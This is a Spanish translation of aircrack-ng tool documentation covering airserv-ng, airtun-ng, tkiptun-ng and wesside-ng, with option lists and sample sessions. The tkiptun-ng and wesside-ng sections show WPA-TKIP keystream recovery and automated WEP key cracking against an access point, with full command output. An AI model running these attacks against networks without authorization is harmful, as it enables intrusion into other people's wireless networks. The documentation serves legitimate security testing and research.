Sensores remotos serán de esta forma fáciles de implementar. Solo una tarjeta wireless y airserv-ng se requieren para ejecutar en un sensor remoto. Esto significa que se pueden crear pequeños sistemas empotrados de forma fácil.
Puedes mezclar y compartir varios sistemas operativos. El servidor y cada una de las aplicaciones pueden potencialmente ejecutarse en diferentes sistemas operativos.
Algunas tarjetas wireless no permiten ejecutar múltiples aplicaciones al mismo tiempo. Este contratiempo se elimina ahora con este nuevo sistema cliente-servidor.
Usando una red TCP, el cliente y el servidor pueden encontrarse en diferentes partes del mundo. Con que solo dispongas de una conexión de red, funcionará.


Uso: airserv-ng

Donde:

-p Puerto TCP a escuchar. Por defecto se usa el 666.
-d interface wifi usada como servidor.
-c Canal.
-v debug level


Debug Levels

Hay 3 “debug levels” o niveles de información. Debug level 1 es el que se usa por defecto si no incluimos la opción ”-v”.

Debug level 1

Contenido: Muestra mensajes de conexión y desconexión.

Ejemplo: Connect from 127.0.0.1 Death from 127.0.0.1

Debug level 2

Contenido: Además de los mensajes del “debug level” 1, muestra las solicitudes de cambios de canal y las peticiones de los clientes. Las solicitudes de cambio de canal indican el canal que el cliente está utilizando.

Ejemplo: [127.0.0.1] Got setchan 9 [127.0.0.1] handle_client: net_get()

Debug level 3

Contenido: Muestra un mensaje cada vez que se envía un paquete al cliente. Tambien se indica el tamaño del paquete. Además tambien se mostrarán los mensajes de los niveles 1 y 2.

Ejemplo: [127.0.0.1] Sending packet 97 [127.0.0.1] Sending packet 97

Ejemplos de uso

Para cualquier uso, primero se debe poner la tarjeta wireless en modo monitor usando airmon-ng u otra técnica similar.
Máquina local

En este escenario todos los componentes se ejecutan en el mismo sistema.

Inicia el programa con:

airserv-ng -d ath0

Donde:

-d ath0 es la tarjeta wireless. Especifica la interface de tu tarjeta en particular.


El sistema responderá:

Opening card ath0
Setting chan 1
Opening sock port 666
Serving ath0 chan 1 on port 666


A partir de ahora puedes usar cualquiera de los programas de la suite aircrack-ng y especificar “127.0.0.1:666” en lugar de el nombre de la interface wireless. El servidor se estará ejecutando a través de la dirección IP 127.0.0.1 y del puerto 666. Recuerda que el número de puerto por defecto es el 666.

Ejemplo:

airodump-ng 127.0.0.1:666


Comenzará a escanear en busca de redes wireless.
Máquina remota

En este escenario el servidor está corriendo en un sistema con una dirección IP 192.168.0.1 y las aplicaciones (airodump-ng, aireplay-ng, …) en otro sistema.

Inicia el programa con:

airserv-ng -d ath0

Donde:

-d ath0 es la tarjeta wireless. Especifica la interface de tu tarjeta en particular.


El sistema responderá:

Opening card ath0
Setting chan 1
Opening sock port 666
Serving ath0 chan 1 on port 666


A partir de ahora puedes usar cualquiera de los programas de la suite aircrack-ng en el segundo sistema y especificar “192.168.0.1:666” en lugar del nombre de la interface wireless. 192.168.0.1 es la dirección IP del servidor y 666 es el número de puerto en el que el servidor se está ejecutando. Recuerda que 666 es el puerto por defecto.

En el segundo sistema, podrías escribir “airodump-ng 192.168.0.1:666” para comenzar a escanear en busca de redes wireless. Tambien se pueden ejecutar otras aplicaciones de la suite aircrack-ng en tantos otros sistemas como se quieran, simplemente especificando “192.168.0.1:666”.

Ejemplo:

airodump-ng -c 6 192.168.0.1:666

Problemas de uso

¿Está tu tarjeta en modo monitor?. Asegurate de que tienes la tarjeta en modo monitor antes de iniciar airserv-ng.

¿Estás conectando con una IP y un número de puerto TCP correctos?. Comprueba estas 2 cosas. Recuerda que el número de puerto por defecto es el 666. Puedes usar aireplay-ng injection test para comprobar la conectividad.

El uso de algún Firewall puede bloquear la comunicación, por lo que asegúrate que está permitido el uso de ese puerto. Esto es aplicable tanto a la máquina en la que se ejecuta airserv-ng como a la del cliente. Cosas a comprobar:

IPTables en sistemas linux.
Firewalls en linux y especiálmente en Windows
Algún firewall entre la red TCP, el cliente y el servidor


Algunos otros programas tambien pueden afectar, como:

Anti-Spyware
Anti-Virus


Para confirmar que airserv-ng se encuentra escuchando en el puerto especificado:

En linux: “netstat -an” o “lsof -i” y mira el número de puerto.




Airtun-ng

Descripción

Airtun-ng sirve para crear interfaces virtuales denominadas “tunnel interface”. Tiene básicamente dos funciones:

Permite monitorizar todo el tráfico encriptado con propósitos wIDS (wireless Intrusion Detection System).
Inyectar de forma arbitraria tráfico en una red.



Para perfeccionar la captura de paquetes wIDS, debes conocer la clave de encriptación y el bssid de la red a monitorizar. Airtun-ng desencripta todo el tráfico de la red y lo pasa al sistema tradicional IDS usado por ejemplo por snort.

La inyección de tráfico puede hacerse bidireccional si conocemos la clave de encriptación completa. y solo podrá ser unidireccional si tenemos un PRGA obtenido a través de chopchop o un ataque de fragmentación. La principal ventaja de airtun-ng respecto a las otras utilidades de la suite aircrack-ng es que no puedes usar cualquier otra herramienta para crear, inyectar o esnifar paquetes.

uso: airtun-ng

-x nbpps : número máximo de paquetes por segundo (opcional)
-a bssid : Fijar dirección MAC del punto de acceso (obligatorio)
-i iface : capturar paquetes desde esta interface (opcional)
-y archivo: leer PRGA de este archivo (opcional / tiene que usarse al menos una de las dos opciones: -y o -w)
-w wepkey : usar esta clave WEP para encriptar los paquetes (opcional / tiene que usarse al menos una de las dos opciones: -y o -w)
-t tods : Enviar paquetes al AP (1) o al cliente (0) (opcional / por defecto es 0)


wIDS

El primer escenario es wIDS. Pon tu tarjeta wireless en modo monitor y escribe el comando:

airtun-ng -a 00:14:6C:7E:40:80 -w 1234567890 ath0

Donde:

-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso a monitorear
-w 1234567890 es la clave de encriptación
ath0 es la interface que tenemos en modo monitor



El sistema nos contestará:

created tap interface at0
WEP encryption specified. Sending and receiving frames through ath0.
FromDS bit set in all frames.


Date cuenta que se ha creado la interface at0. Abre otra consola o shell y puedes levantar esta interface para poder usarla:

ifconfig at0 up

Esta interface (at0) recivirá una copia de cada paquete wireless que circule por la red. Los paquetes serán desencriptados con la clave que has proporcionado. En este punto, puedes usar algún programa para esnifar y analizar el tráfico. Por ejemplo, tcpdump o snort.
Inyección WEP

El siguiente escenario es cuando quieres inyectar paquetes en una red. Sigue los mismos pasos que en el primer escenario excepto definir una dirección IP válida para la red cuando levantes la interface at0:

ifconfig at0 192.168.1.83 netmask 255.255.255.0 up

Puedes comprobarlo con el comando “ifconfig at0” analizando la salida.

at0 Link encap:Ethernet HWaddr 36:CF:17:56:75:27
inet addr:192.168.1.83 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::34cf:17ff:fe56:7527/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:192 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:25113 (24.5 KiB) TX bytes:516 (516.0 b)


En este punto puedes usar cualquier programa para enviar tráfico a través de la interface at0 a cualquier cliente wireless. Por favor date cuenta de que por defecto FromDS está seleccionado. Lo que significa que los paquetes están marcados para ir a los clientes wireless. Si quieres que la comunicación sea con el AP o con clientes cableados, especifica la opción ”-t 1” cuando inicies airtun-ng.

NOTA IMPORTANTE: Las reglas normales para la inyección se aplican aquí tambien. Por ejemplo, estar asociado con el AP, que la MAC de la tarjeta sea la misma que utilizamos como origen de la inyección, etc.

Un uso interesante de este escenario es que permite usar una red con encriptación WEP utilizando un driver que soporte la inyección, pero no esa encriptación WEP; y hay que tener en cuenta que no todos los drivers soportan claves wep de 256bit o de 512bit o WPA.
Inyección PRGA

El siguiente escenario es aquel caso en el que queremos inyectar paquetes a la red pero no tenemos la clave WEP completa. Solo tenemos el PRGA obtenido a través de un ataque chopchop o de fragmentation. En este caso solo podremos inyectar paquetes salientes o outbound. No hay forma de desencriptar los paquetes entrantes (inbound) ya que no conocemos la clave WEP.

Pon la tarjeta wireless en modo monitor y escribe:

airtun-ng -a 00:14:6C:7E:40:80 -y fragment-0124-153850.xor ath0

Fijate en que el archivo PRGA se ha especificado utilizando la opción ”-y”.

El sistema responde (fijate en el estado “no reception”):

created tap interface at0
WEP encryption by PRGA specified. No reception, only sending frames through ath0.
FromDS bit set in all frames.


A partir de aquí puedes definir una dirección IP válida para la red y levantar la interface at0:

ifconfig at0 192.168.1.83 netmask 255.255.255.0 up

Puedes comprobar esto escribiendo “ifconfig at0”. Ahora puedes usar algún programa para enviar tráfico a través de la interface at0 a los clientes wireless.
Conectándose a dos puntos de acceso

El siguiente escenario es conectarse a dos redes wireless al mismo tiempo. Esto se hace simplemente iniciando airtun-ng dos veces, especificando la dirección MAC o bssid de cada una. Si los dos APs están en el mismo canal, esto debe funcionar a la perfeccción. Si no comparten el mismo canal, puedes escuchar con airodump-ng en ambos canales (no de forma simultanea, pero solo saltando entre esos dos canales). Suponiendo que los dos APs a los que nos queremos conectar están en los canales 1 y 11, escribiriamos “airodump-ng -c 1,11 ath0”.

Conseguiremos dos “tunnel interfaces” (at0 y at1), cada una para un AP. Si no usan el mismo rango de IPs, las podremos usar al mismo tiempo. En teoria, se puede hacer esto incluso para más que dos APs, pero la calidad del enlace será peor ya que habrá que alternar entre 3 o más canales.

Copiar paquetes desde la interface opcional

El siguiente escenario consiste en copiar paquetes desde la interface opcional. El parámetro -i es igual al parámetro -i de aireplay-ng. Se usa para especificar un origen distinto desde el que leer los paquetes, otra tarjeta diferente a la que usaremos para inyectar (ath0 en nuestro ejemplo). Un uso típico es escuchar con una tarjeta con muy buena sensibilidad en una interface; e inyectar con otra tarjeta con gran potencia de transmisión, que tienen mucha menos sensibilidad.
Pistas de uso

Esta utilidad es muy poderosa y utiliza conceptos avanzados. Por favor asegurate de que tienes conocimientos y experiencia suficiente con las otras utilidades de la suite aircrack-ng antes de usar airtun-ng.



Tkiptun-ng

Descripción

rgb(102, 102, 102)Nota: Esta documentación está una en fase de desarrollo, por favor, chequéela regularmente para obtener las últimas actualizaciones.Si usted tiene alguna información que pueda ampliar esta documentación, por favor, postee sus comentarios en el foro. Forum.

NOTA IMPORTANTE: La Versión SVN de tkiptun-ng, no está trabajando completamente, la fase del ataque final no está implementada. Las otras porciones funcionan adecuadamente con los drivers para ieee802011 de los chips RT73 y RTK8187L. El driver madwifi-ng es definitivamente nulo y se conoce que falla completamente. Tkiptun-ng podría funcionar en otros drivers, pero como no han sido evaluados no se pueden especificar.

Tkiptun-ng es una herramienta creada por Martin Beck, alias HIRTE, un miembro del equipo de aircrack-ng. Esta herramienta está diseñada para inyectar código encriptado en una red WPA-TKIP con QoS. Trabajó con Erik Tews (creador del ataque aircrack-PTW) para una conferencia en PacSec 2008: “Perdido en 900 segundos, Algunas cuestiones de criptografía con WPA”.

Tkiptun-ng es la prueba de la puesta en práctica del concepto de “ataque WPA/TKIP”. Este ataque es descrito en: Practical attacks against WEP and WPA escrito por Martin Beck and Erik Tews. El documento describe los avances en ataques sobre WEP y el primer ataque práctico sobre WPA. Una excelente referencia adicional que explica cómo tkiptun-ng hace “magia” es este artículo técnico de ARS, Maltratadas pero no rotas: Comprender como Crackear WPA por Glenn Fleishman.

Básicamente Tkiptun-ng empieza obteniendo texto plano en un pequeño paquete y del MIC (Message Integrity Check). Esto es posible mediante el ataque por el método chopchop.Una vez que esto está hecho, El algoritmo de Michael, invierte la clave MIC usada para proteger los paquetes enviados desde el Punto de acceso (AP) al Cliente o estación, el cual la puede calcular.

En este momento, tkiptun - ng ha recuperado la clave MIC y conoce un keystram para acceder a la comunicación con el punto cliente. Posteriormente, usando el archivo de XOR, podemos crear nuevos paquetes e inyectarlos. La creación y la inyección son satisfactorias usando el aircrack-ng de la suite de herramientas.

Por favor recuerden que éste es un ataque sumamente avanzado. Usted requiere que un dominio avanzado de Linux y destreza en el uso de aircrack-ng. No espere soporte a menos que pueda demostrar que usted domina esto con destreza.
Requisitos Generales

Ambos, tanto el (AP) como el Cliente deben soportar QoS (Quality of Service), a veces llamado Wi-Fi Multi-media (WMM) en algunos puntos de acceso(AP).

El (AP) debe estar configurado para utilizar WPA implementado con TKIP.

Bastante tiempo para la reinyección, alrrededor de una hora (3600 segundos). Al menos tienen que ser 20 minutos.
Requisitos específicos

La dirección MAC de la tarjeta de Red usada por tkiptun-ng tiene que ser establecida en la dirección del cliente a quien estamos atacando

¿Por qué?

Esta sección es muy preliminar. Cuando tkiptun-ng trabaja, este pasa por varias fases. Las personas preguntan “¿Por que pasa esto?, ¿tal o cual?”. Esta sección intentará responder esas preguntas.

¿Porque es necesario capturar el HandsHake?

Se hace por razones de depuración. Primeramente es necesario para que las claves temporales en tkiptun-ng puedan ser calculadas, en Segundo lugar, para cotejarlo con los valores calculados del paquete de texto plano.

Otra razón es verificar si el AP/Cliente reusan la conexión despues de una desconexión MIC(Código de integridad del mensaje).
Uso

Uso: tkiptun-ng >

Filtro de Opciones:

-d dmac : Dirección MAC de Destino
-s smac : Dirección MAC Fuente
-m len : Mínima longitud del paquete
-n len : Máxima longitud del paquete
-t tods : Control del Frame, a DS bit
-f fromds : Control del frame, de DS bit
-D : Desabilita la detección del AP


Opciones de repetición:

-x nbpps : Número de paquetes por segundo
-a bssid : Establece la dirección MAC del punto de acceso.
-c dmac : Establece la dirección MAC de destino
-h smac : Establece la dirección MAC fuente
-F : Selecciona el primer paquete que coincida.
-e essid : Establece el SSID del AP de destino.


Opciones de depuración:

-K prga : keystream for continuation
-y file : keystream-file for continuation
-j : inject FromDS packets
-P pmk : pmk for verification/vuln testing
-p psk : psk to calculate pmk with essid


Opciones fuente:

-i iface : Captura paquetes de esta interface
-r file : Extrae paquetes de este archivo pcap
--help : Muestra el uso en pantalla


El ejemplo de abajo está imcompleto, pero da una idea de como se vería.

Input:

tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 rausb0

Output:

The interface MAC (00:0E:2E:C5:81:D3) doesn't match the specified MAC (-h).
ifconfig rausb0 hw ether 00:0F:B5:AB:CB:9D
Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD 0D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D 5E
15:06:48 Michael Test: Successful
15:06:48 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
15:06:48 Found specified AP
15:06:48 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]
15:06:54 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]
15:06:56 WPA handshake: 00:14:6C:7E:40:80 captured
15:06:56 Waiting for an ARP packet coming from the Client...
Saving chosen packet in replay_src-0305-150705.cap
15:07:05 Waiting for an ARP response packet coming from the AP...
Saving chosen packet in replay_src-0305-150705.cap
15:07:05 Got the answer!
15:07:05 Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.

15:07:25 Offset 99 ( 0% done) | xor = B3 | pt = D3 | 103 frames written in 84468ms
15:08:32 Offset 98 ( 1% done) | xor = AE | pt = 80 | 64 frames written in 52489ms
15:09:45 Offset 97 ( 3% done) | xor = DE | pt = C8 | 131 frames written in 107407ms
15:11:05 Offset 96 ( 5% done) | xor = 5A | pt = 7A | 191 frames written in 156619ms
15:12:07 Offset 95 ( 6% done) | xor = 27 | pt = 02 | 21 frames written in 17221ms
15:13:11 Offset 94 ( 8% done) | xor = D8 | pt = AB | 41 frames written in 33625ms
15:14:12 Offset 93 (10% done) | xor = 94 | pt = 62 | 13 frames written in 10666ms
15:15:24 Offset 92 (11% done) | xor = DF | pt = 68 | 112 frames written in 91829ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:18:13 Offset 91 (13% done) | xor = A1 | pt = E1 | 477 frames written in 391139ms
15:19:32 Offset 90 (15% done) | xor = 5F | pt = B2 | 186 frames written in 152520ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:22:09 Offset 89 (16% done) | xor = 9C | pt = 77 | 360 frames written in 295200ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:26:10 Offset 88 (18% done) | xor = 0D | pt = 3E | 598 frames written in 490361ms
15:27:33 Offset 87 (20% done) | xor = 8C | pt = 00 | 230 frames written in 188603ms
15:28:38 Offset 86 (21% done) | xor = 67 | pt = 00 | 47 frames written in 38537ms
15:29:53 Offset 85 (23% done) | xor = AD | pt = 00 | 146 frames written in 119720ms
15:31:16 Offset 84 (25% done) | xor = A3 | pt = 00 | 220 frames written in 180401ms
15:32:23 Offset 83 (26% done) | xor = 28 | pt = 00 | 75 frames written in 61499ms
15:33:38 Offset 82 (28% done) | xor = 7C | pt = 00 | 141 frames written in 115619ms
15:34:40 Offset 81 (30% done) | xor = 02 | pt = 00 | 19 frames written in 15584ms
15:35:57 Offset 80 (31% done) | xor = C9 | pt = 00 | 171 frames written in 140221ms
15:37:13 Offset 79 (33% done) | xor = 38 | pt = 00 | 148 frames written in 121364ms
15:38:21 Offset 78 (35% done) | xor = 71 | pt = 00 | 84 frames written in 68872ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:40:55 Offset 77 (36% done) | xor = 8E | pt = 00 | 328 frames written in 268974ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:43:31 Offset 76 (38% done) | xor = 38 | pt = 00 | 355 frames written in 291086ms
15:44:37 Offset 75 (40% done) | xor = 79 | pt = 00 | 61 frames written in 50021ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:47:05 Offset 74 (41% done) | xor = 59 | pt = 00 | 269 frames written in 220581ms
15:48:30 Offset 73 (43% done) | xor = 14 | pt = 00 | 249 frames written in 204178ms
15:49:49 Offset 72 (45% done) | xor = 9A | pt = 00 | 183 frames written in 150059ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:52:32 Offset 71 (46% done) | xor = 03 | pt = 00 | 420 frames written in 344400ms
15:53:57 Offset 70 (48% done) | xor = 0E | pt = 00 | 239 frames written in 195980ms
Sleeping for 60 seconds.36 bytes still unknown
ARP Reply
Checking 192.168.x.y
15:54:11 Reversed MIC Key (FromDS): C3:95:10:04:8F:8D:6C:66

Saving plaintext in replay_dec-0305-155411.cap
Saving keystream in replay_dec-0305-155411.xor
15:54:11
Completed in 2816s (0.02 bytes/s)

15:54:11 AP MAC: 00:40:F4:77:F0:9B IP: 192.168.21.42
15:54:11 Client MAC: 00:0F:B5:AB:CB:9D IP: 192.168.21.112
15:54:11 Sent encrypted tkip ARP request to the client.
15:54:11 Wait for the mic countermeasure timeout of 60 seconds.




Wesside-ng

Download:
FLVMP43GP


Descripción

Wesside-ng es una utilidad “auto-mágica” que incorpora todas las técnicas para obtener fácilmente una clave WEP en pocos minutos. Primero identifica una red wireless, seguidamente procede a asociarse a la misma, obtiene un PRGA (pseudo random generation algorithm) xor data, determina el rango de IPs de la red, reinyecta una respuesta ARP y finalmente determina la clave WEP. Todo esto lo hace sin ninguna intervención por tu parte.

La utilidad wesside original fue creada por Andrea Bittau y fue un programa que acompañaba a 2 artículos publicados. Estos artículos son “El ataque de Fragmentación en la práctica” por Andrea Bittau y “El último descubrimiento para enterrar las redes con clave WEP” por Andrea Bittau, Mark Handley y Josua Lockey. Mira links page para ver estos artículos y muchos otros más. Estos artículos proporcionan excelente información para comprender los métodos usados para obtener claves WEP. Los conceptos para el ataque de fragmentación incorporado en aircrack-ng se han obtenido de esos artículos.

¿Quién sabe de donde viene el nombre del programa “wesside”? Proviene de “tupac the rapper” (2Pac / Tupac Shakur).

Wesside-ng ha sido actualizado para incluir los nuevos avances para obtener claves WEP. Los pasos que lleva a cabo wesside-ng son:

1.- Va saltando de canal buscando una red wireless con clave WEP.
2.- Una vez que encuentra una red, intenta autenticarse. Si la autenticación falla, entonces el programa intenta encontrar una dirección MAC que se haya asociado con el AP para engañarlo.
3.- Una vez que el programa se ha autenticado satisfactóriamente intenta asociarse con el AP.
4.- Despues de snifar un simple paquete de datos, procede a descubrir los 128 bytes de un PRGA enviando paquetes “broadcasts” e interceptando los paquetes de respuesta. Esto es lo que se conoce como ataque de fragmentación. El PRGA se escribe en el archivo prga.log.
5.- Despues esnifa un “ARP request” y desencripta la dirección IP usando la técnica “linear keystream expansion”. Esto se usa para construir la petición ARP que se usará para la inyección.
6.- Inunda la red con peticiones ARP para esa dirección IP.
7.- Lanza el aircrack-ng PTW attack para determinar la clave WEP.


Seguramente que te estás preguntando ¿en qué consiste la técnica “linear keystream expansion”?. El fundamento de la misma es el hecho de que los paquetes como una petición ARP encriptada pueden ser fácilmente identificados, combinado con el hecho de que el inicio de estos paquetes es texto plano. Por lo tanto el programa primero obtiene el PRGA de una porción de texto plano de la petición ARP. Despues crea nuevas peticiones ARP incorrectas compuestas de dos fragmentos. El primer fragmento tiene un byte más que el PRGA conocido, por lo que el PRGA se completa con un byte extra que se intenta adivinar. Estos supuestos paquetes se envían y el programa escucha para ver cual de ellos es contestado por el AP. El paquete al que el AP contesta tiene el PRGA correcto y este valor se ha incluido en la dirección de destino “multicast”. Ahora que conocemos el PRGA correcto, un byte más puede ser desencriptado en la petición ARP original. Este proceso se repite hasta que la IP enviada en la petición ARP original es desencriptada. Esto lleva un máximo de 256 paquetes “adivinazas” para determinar el PRGA correcto para un byte concreto y de media solo 128.

Existen algunas limitaciones conocidas:

Solo soporta autenticación abierta (open authentication). No soporta autenticación con clave compartida (Shared key authentication).
Solo soporta redes tipo B y G.
La funcionalidad de falsificar la dirección MAC no funciona si en la red hay mucho tráfico.


Por favor, recuerda que este programa se encuentra en desarrollo por lo que puede tener algún bug. Además puede que encuentres opciones que no funcionen como esperabas.

Uso: wesside-ng -i

-h Muestra una lista con las opciones.
-i Nombre de la interface wireless.
-n “Net IP” como en “who has destination IP (netip) tell source IP (myip)”. (Opcional)
-m “MY IP” “who has destination IP (netip) tell source IP (myip)”. (Opcional)
-a Dirección MAC origen (Opcional)
-c No iniciar aircrack-ng. Únicamente capturar paquetes hasta que se pulse control-C para parar el programa. (Opcional)
-p Determina el mínimo número de bytes del PRGA. Por defecto 128 bytes. (Opcional)
-v Dirección MAC del punto de acceso Wireless (Opcional)
-t Para cada número de IVs especificado, reiniciar aircrack-ng PTW. (Opcional)
-f Permite definir el número de canal más alto para ser escaneado. Por defecto canal 11. (Opcional)


Cuando ejecutas wesside-ng, se crean tres archivos automáticamente en el directorio actual:

wep.cap - El archivo de paquetes capturados. Contiene los paquetes completos y no solo los IVs.
prga.log - Contiene el PRGA obtenido a través del ataque de fragmentación.
key.log - Contiene la clave WEP que se ha encontrado.


Es muy importante borrar estos archivos antes de iniciar el programa cuando se cambie el punto de acceso del que queremos obtener la clave.
Escenarios
Ejemplo de uso estandard

Asegurate de usar airmon-ng para poner la tarjeta en modo monitor.

Despues escribe:

wesside-ng -i wlan0

Donde:

-i wlan0 es la interface wireless.


El programa responderá:

[13:51:32] Using mac 00:C0:CA:17:DB:6A
[13:51:32] Looking for a victim...
[13:51:32] Found SSID(teddy) BSS=(00:14:6C:7E:40:80) chan=9
[13:51:32] Authenticated
[13:51:32] Associated (ID=5)
[13:51:37] Got ARP request from (00:D0:CF:03:34:8C)
[13:51:37] Datalen 54 Known clear 22
[13:51:37] Got 22 bytes of prga IV=(0e:4e:02) PRGA=A5 DC C3 AF 43 34 17 0D 0D 7E 2A C1 44 8A DA 51 A4 DF BB C6 4F 3C
[13:51:37] Got 102 bytes of prga IV=(0f:4e:02) PRGA=17 03 74 98 9F CC FB AA A1 B3 5B 00 53 EC 8F C3 BB F7 56 21 09 95 12 70 24 8C C0 16 40 9F A8 BD BA C4 CC 18 04 A1 41 47 B3 22 8B D2 42 DC 71 54 CE AD FE D0 C3 15 7E EB D1 E2 BB 69 7F 11 8A 99 40 FC 75 EC 12 BF 3B C8 2A 32 88 8A DC E8 35 7C EE DA A3 E3 6B 0C 45 21 DC BD 23 59 28 85 24 49 18 49 1C 24 6D E2
[13:51:37] Got 342 bytes of prga IV=(10:4e:02) PRGA=5C EC 18 24 F3 21 B2 74 2A 86 97 C7 4C 22 EC 42 00 3A C6 07 0C 02 AA D6 B6 D8 FF B1 16 F8 40 31 B7 95 3B F8 1B BD 94 8B 3B 7A 98 DE C6 72 FD F8 A5 FC E7 81 A0 9E 01 76 44 57 C4 EB AE D7 AB EB 2F 40 C8 E5 5F EF 13 DB F4 F7 F2 91 D9 36 77 C1 F0 9C E4 8C BA F9 50 C0 B0 E7 23 75 85 41 82 54 F5 22 3C A9 45 0C 1F AE DA 3B F7 AA 41 30 23 63 97 B1 42 4C A8 0E C0 5A 7E A2 58 C2 02 B8 7F DB C7 CC 66 4D 86 53 30 E0 A0 81 52 13 14 08 5F 45 C5 AC 21 C3 90 86 A1 8D 45 CC 7C A2 F2 95 34 EF 38 59 FA 21 0F CC 63 81 05 26 8D B8 84 A1 D3 DF 5D E0 CA 23 52 85 4F 61 5B E3 83 4B 2A 10 0A 14 94 FA 90 D4 FC 3F 7B CD A9 C3 E3 4D B7 99 BD 21 D4 FC DB 60 0C 92 8D 76 87 EF F7 45 C6 D7 0B 96 A4 18 41 63 48 79 E0 4E 3A 9F 1B 8D 17 F5 B0 FE 30 F3 27 55 E1 EA 8A 60 FA 9E CB CE D9 1D EE 94 20 20 EB 58 F8 55 38 4F C9 E7 53 55 94 6C 6A 6D F0 D5 4E DB 78 D6 52 A3 34 68 2C 8B 7A EA C8 DA 3B D9 CB 4C 65 E6 CE B8 EE CD 58 DD C1 C8 F8 08 1B 27 EC 74 7E AD A0 0E 1E 85 79 F4 C0 54 D9 99 51 CA 96 02 73 93 33 6F E6 D5 F1 55 81 2B AA C4 3A B2 0A C6 04 FE
[13:51:39] Guessing PRGA 8e (IP byte=230)
[13:51:39] Got clear-text byte: 192
[13:51:40] Guessing PRGA be (IP byte=198)
[13:51:40] Got clear-text byte: 168
[13:51:40] Guessing PRGA 8d (IP byte=47)
[13:51:40] Got clear-text byte: 1
[13:51:40] Guessing PRGA 12 (IP byte=240)
[13:51:40] Got clear-text byte: 200
[13:51:40] Got IP=(192.168.1.200)
[13:51:40] My IP=(192.168.1.123)
[13:51:40] Sending arp request for: 192.168.1.200
[13:51:40] Got arp reply from (00:D0:CF:03:34:8C)
[13:52:25] WEP=000009991 (next crack at 10000) IV=60:62:02 (rate=115)
[13:52:36] WEP=000012839 (next crack at 20000) IV=21:68:02 (rate=204)
[13:52:25] Starting crack PID=2413
[13:52:27] WEP=000010324 (next crack at 20000) IV=0d:63:02 (rate=183)
[13:54:03] Starting crack PID=2415
[13:53:28] WEP=000023769 (next crack at 30000) IV=79:32:00 (rate=252)
[13:53:11] Starting crack PID=2414
[13:53:13] WEP=000020320 (next crack at 30000) IV=7d:2b:00 (rate=158)
[13:54:21] WEP=000034005 (next crack at 40000) IV=53:47:00 (rate=244)


[328385:55:08] Tested 5/70000 keys

KB depth byte(vote)
0 0/ 1 01( 206) 3B( 198) 5F( 190) 77( 188) 3D( 187) D2( 187) 60( 186) 6F( 186) A1( 185) 48( 184)
1 0/ 1 23( 232) 82( 190) BF( 187) 4E( 184) 0D( 183) 90( 181) B9( 181) 08( 180) 1A( 180) 8A( 180)
2 0/ 1 45( 200) F0( 186) 52( 184) AE( 184) 75( 183) 48( 181) A1( 180) 71( 179) DE( 179) 21( 178)
3 0/ 1 67( 221) AE( 202) B2( 193) 14( 191) 51( 184) 6D( 184) 64( 183) 65( 183) 5B( 182) 17( 181)
4 0/ 5 89( 182) DB( 182) 74( 181) C2( 181) CC( 181) 64( 180) CD( 180) 5F( 179) A6( 179) 1A( 178)

Key: 01:23:45:67:89



[13:54:51] WEP=000040387 (next crack at 50000) IV=0d:a0:02 (rate=180)
[13:55:08] WEP=000043621 (next crack at 50000) IV=da:5a:00 (rate=136)
[13:55:08] Stopping crack PID=2416
[13:55:08] KEY=(01:23:45:67:89)

Owned in 3.60 minutes

[13:55:08] Dying...


Problemas de uso

Cerciórate de que tu tarjeta está en modo monitor.

Asegúrate de que tu tarjeta puede inyectar probándola con el aireplay-ng injection test. También comprueba que puedes comunicarte con el AP en cuestión.

Cerciorate de que tu tarjeta soporta el ataque de fragmentación. Esto lo puedes comprobar tambien con el “aireplay-ng injection test”.

Asegúrate de borrar los archivos wep.cap, prga.log y key.log, si has cambiado de punto de acceso o si quieres empezar de nuevo. Como norma general, si tienes problemas es una buena idea borrar estos archivos.

Existen algunas limitaciones conocidas:

Solo soporta autenticación abierta (open authentication). No soporta autenticación con clave compartida (Shared key authentication).
Solo soporta redes tipo B y G.
La funcionalidad de falsificar la dirección MAC no funciona si en la red hay mucho tráfico.

Mensaje "ERROR Max retransmists"

Puede que obtengas un error similar al siguiente mientras ejecutas el programa:

[18:23:49] ERROR Max retransmists for (30 bytes): B0 00 FF 7F 00 1A 70 51 B0 70 00 0E 2E C5 81 D3 00 1A 70 51 B0 70 00 00 00 00 01 00 00 00

Esto puede estar causado porque el AP no recibe los paquetes que le estás enviando. Prueba a acercarte más al AP.

Otra razón es que este programa se encuenta en fase de pruebas y no es completamente estable. Prueba a reiniciar wesside-ng.